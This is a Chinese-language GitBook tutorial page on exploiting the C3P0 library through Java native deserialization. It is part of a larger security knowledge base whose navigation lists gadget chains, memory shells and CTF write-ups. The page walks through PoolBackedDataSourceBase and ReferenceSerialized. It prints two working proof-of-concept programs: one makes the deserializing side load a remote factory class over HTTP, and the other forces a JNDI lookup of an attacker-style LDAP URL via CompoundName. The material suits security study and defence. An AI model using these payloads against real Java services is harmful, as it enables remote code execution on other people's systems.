Java
  • About This Book
  • 🍖Prerequisites
    • 反射
      • 反射基本使用
      • 高版本JDK反射绕过
      • 反射调用命令执行
      • 反射构造HashMap
      • 方法句柄
    • 类加载
      • 动态加载字节码
      • 双亲委派模型
      • BCEL
      • SPI
    • RMI & JNDI
      • RPC Intro
      • RMI
      • JEP 290
      • JNDI
    • Misc
      • Unsafe
      • 代理模式
      • JMX
      • JDWP
      • JPDA
      • JVMTI
      • JNA
      • Java Security Manager
  • 👻Serial Journey
    • URLDNS
    • SerialVersionUID
    • Commons Collection 🥏
      • CC1-TransformedMap
      • CC1-LazyMap
      • CC6
      • CC3
      • CC2
    • FastJson 🪁
      • FastJson-Basic Usage
      • FastJson-TemplatesImpl
      • FastJson-JdbcRowSetImpl
      • FastJson-BasicDataSource
      • FastJson-ByPass
      • FastJson与原生反序列化(一)
      • FastJson与原生反序列化(二)
      • Jackson的原生反序列化利用
    • Other Components
      • SnakeYaml
      • C3P0
      • AspectJWeaver
      • Rome
      • Spring
      • Hessian
      • Hessian_Only_JDK
      • Kryo
      • Dubbo
  • 🌵RASP
    • JavaAgent
    • JVM
    • ByteCode
    • JNI
    • ASM 🪡
      • ASM Intro
      • Class Generation
      • Class Transformation
    • Rasp防御命令执行
    • OpenRASP
  • 🐎Memory Shell
    • Tomcat-Architecture
    • Servlet API
      • Listener
      • Filter
      • Servlet
    • Tomcat-Middlewares
      • Tomcat-Valve
      • Tomcat-Executor
      • Tomcat-Upgrade
    • Agent MemShell
    • WebSocket
    • 内存马查杀
    • IDEA本地调试Tomcat
  • ✂️JDBC Attack
    • MySQL JDBC Attack
    • H2 JDBC Attack
  • 🎨Templates
    • FreeMarker
    • Thymeleaf
    • Enjoy
  • 🎏MessageQueue
    • ActiveMQ CNVD-2023-69477
    • AMQP CVE-2023-34050
    • Spring-Kafka CVE-2023-34040
    • RocketMQ CVE-2023-33246
  • 🛡️Shiro
    • Shiro Intro
    • Request URI ByPass
    • Context Path ByPass
    • Remember Me反序列化 CC-Shiro
    • CB1与无CC依赖的反序列化链
  • 🍺Others
    • Deserialization Twice
    • A New Blazer 4 getter RCE
    • Apache Commons Jxpath
    • El Attack
    • Spel Attack
    • C3P0原生反序列化的JNDI打法
    • Log4j
    • Echo Tech
      • SpringBoot Under Tomcat
    • CTF 🚩
      • 长城杯-b4bycoffee (ROME反序列化)
      • MTCTF2022(CB+Shiro绕过)
      • CISCN 2023 西南赛区半决赛 (Hessian原生JDK+Kryo反序列化)
      • CISCN 2023 初赛 (高版本Commons Collections下其他依赖的利用)
      • CISCN 2021 总决赛 ezj4va (AspectJWeaver写字节码文件到classpath)
      • D^3CTF2023 (新的getter+高版本JNDI不出网+Hessian异常toString)
      • WMCTF2023(CC链花式玩法+盲读文件)
      • 第六届安洵杯网络安全挑战赛(CB PriorityQueue替代+Postgresql JDBC Attack+FreeMarker)
  • 🔍Code Inspector
    • CodeQL 🧶
      • Tutorial
        • Intro
        • Module
        • Predicate
        • Query
        • Type
      • CodeQL 4 Java
        • Basics
        • DFA
        • Example
    • SootUp ✨
      • Intro
      • Jimple
      • DFA
      • CG
    • Tabby 🔦
      • install
    • Theory
      • Static Analysis
        • Intro
        • IR & CFG
        • DFA
        • DFA-Foundation
        • Interprocedural Analysis
        • Pointer Analysis
        • Pointer Analysis Foundation
        • PTA-Context Sensitivity
        • Taint Anlysis
        • Datalog
Powered by GitBook
On this page

Was this helpful?

  1. 🍺Others

C3P0原生反序列化的JNDI打法

PreviousSpel AttackNextLog4j

Last updated 1 year ago

Was this helpful?

复习一下c3p0的反序列化打法,网上公开的大概就三种:

  • 原生反序列化,加载Reference指定的类工厂的字节码,需要出网

  • 配合json反序列化,有两个可以利用的setter

    • 一个打二次反序列化

    • 一个打JNDI

这里啰嗦地说一下原生反序列化的打法

PoolBackedDataSourceBase#readObject

如果读取的对象是IndirectlySerialized的实例,调用getObject来恢复连接池数据源connectionPoolDataSource这个属性。 顾名思义,IndirectlySerialized是间接序列化,这是一个接口,我们看它的实现子类ReferenceSerialized#getObject

referenceToObject通过获取引用(Reference)中指定的工厂类地址(fClassLocation),构造一个URLClassLoader,再去加载工厂类(fClassName)。这个引用作为ReferenceSerialized对象的属性,我们是可以控制的。

首先尝试序列化连接池数据源connectionPoolDataSource 若它不可被序列化,经过Indirector处理后再进行序列化,这是一个接口类,我们看它的实现子类ReferenceIndirector 下面看一下它是怎么处理这个不可被序列化的对象的,其实看到这里也能猜到,顾名思义它会包装一个引用(Reference)

这里要求这个对象是可被引用的(Referenceable),获取它的引用后封装到ReferenceSerialized中,也就是上文反序列化中提到的类。 可以构造如下POC:

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class Test {
    public static void main(String[] args) throws Exception {
        PoolBackedDataSourceBase base = new PoolBackedDataSourceBase(false);
        Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
        Field cp = clazz.getDeclaredField("connectionPoolDataSource");
        cp.setAccessible(true);
        cp.set(base, new evil());

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(base);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        Object o = (Object) ois.readObject();
    }

    public static class evil implements ConnectionPoolDataSource, Referenceable{

        public Reference getReference() throws NamingException {
            return new Reference("calc", "calc", "http://127.0.0.1:9999/");
        }

        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        public void setLoginTimeout(int seconds) throws SQLException {

        }

        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }
}

evil不能被反序列化,会经过ReferenceIndirector处理,拿到它的引用放入ReferenceSerialized,反序列化时会提取引用的工厂类地址,去远程加载工厂类。

上面反序列化的过程有一行特别醒目的代码 ReferenceSerialized#getObject

if ( contextName != null )
nameContext = (Context) initialContext.lookup( contextName );

熟悉的JNDI sink,但之前传入lookup的都是字符串,这里要求是个Name接口类。对比一下,其实就是要让Name.get(0)返回那串神奇的URLldap://xxx/或rmi://xxx/

翻了一遍Name的实现类,挑了一个好用的javax.naming.CompoundName 其他实现类可能序列化和反序列化的时候会麻烦的,感兴趣的可以尝试。 主要关注下面几个方法

impl和mySyntax都是transient,所以序列化和反序列化时肯定有另外的处理。

大概就是遍历了impl的components属性(这是一个Vector),每个都写入序列化流。

反序列化的时候,多次调用readObject再add进impl 大概知道了这个逻辑后我们简单构造一下

CompoundName name = new CompoundName("ldap://127.0.0.1:8099/aaa", new Properties());
new InitialContext().lookup(name);

默认为null 有很多解决方法,最简单就是调试的时候直接改掉这个值为我们构造的CompoundName 复杂一点的就是用javassist修改ReferenceIndirector这个类的无参构造函数,在里面对contextName属性进行赋值。 考虑到writeObject还得触发NotSerializableException,这里采取一个折中的方法,干脆直接本地重写PoolBackedDataSourceBase这个类,由上面的流程可知序列化本质就写入了一个ReferenceSerialized对象。

package com.mchange.v2.c3p0.impl;

import com.mchange.v2.ser.Indirector;
import com.mchange.v2.ser.SerializableUtils;
import com.sun.jndi.dns.DnsName;

import javax.naming.CompoundName;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import java.io.IOException;
import java.io.NotSerializableException;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Properties;

public class PoolBackedDataSourceBase extends IdentityTokenResolvable implements Referenceable, Serializable {
    private static final long serialVersionUID = 1;

    @Override
    public String getIdentityToken() {
        return null;
    }

    @Override
    public void setIdentityToken(String idToken) {

    }

    @Override
    public Reference getReference() throws NamingException {
        return null;
    }

    private void writeObject( ObjectOutputStream oos ) throws Exception
    {
        CompoundName name = new CompoundName("ldap://127.0.0.1:8099/aaa", new Properties());
        Class<?> clazz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
        Constructor<?> con = clazz.getDeclaredConstructors()[0];
        con.setAccessible(true);
        Object referenceSerialized = con.newInstance(null, null, name, null);
        oos.writeShort(1);  // 写入版本
        oos.writeObject(referenceSerialized);
    }
}

其实原来那条URLClassLoader的链就挺好打了,这个打法复杂化了

大家看个乐

再看一下这个IndirectlySerialized是怎么写进去序列化流的 PoolBackedDataSourceBase#writeObject

ok成功触发。 接下来的问题时,这个contextName属性我们在反序列化时是控制不了的

image-20240308231523639
image-20240308231500846
image-20240308231450415
image-20240308231413980
image-20240308231350806
image-20240308231321375
image-20240308231335224
image-20240308231304347
image-20240308231241230
image-20240308231154816